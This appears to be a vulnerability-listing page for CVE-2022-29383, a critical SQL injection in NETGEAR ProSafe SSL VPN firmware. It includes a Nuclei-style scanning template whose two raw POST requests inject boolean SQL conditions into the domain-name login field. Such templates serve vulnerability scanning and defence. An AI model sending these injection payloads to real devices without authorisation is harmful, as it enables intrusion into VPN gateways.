CVE-2022-29383: NETGEAR ProSafe SSL VPN firmware - SQL Injection

日期: 2025-08-01 | 影响软件: NETGEAR ProSafe SSL VPN firmware | POC: 已公开

漏洞描述

NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi.

PoC代码[已公开]

id: CVE-2022-29383

info:
  name: NETGEAR ProSafe SSL VPN firmware - SQL Injection
  author: elitebaz
  severity: critical
  description: |
    NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data leakage, or denial of service.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29383
    cwe-id: CWE-89
    epss-score: 0.78807
    epss-percentile: 0.98993
    cpe: cpe:2.3:o:netgear:ssl312_firmware:fvs336gv2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgear
    product: ssl312_firmware
  tags: cve2022,cve,sqli,netgear,router,vkev,vuln

http:
  - raw:
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "User authentication Failed")
          - contains(body_2, "User Login Failed for SSLVPN User.")
        condition: and
# digest: 4b0a00483046022100b45c0498678f9fab8f95855130c84bd6f3ad8a5375643b660e5a7c5e40503a49022100e24e96c4a372f1acb1bf7ff06cdb4159bab5371043cd3cb28c6a717cd1dbb33d:922c64590222798bb761d5b6d8e72950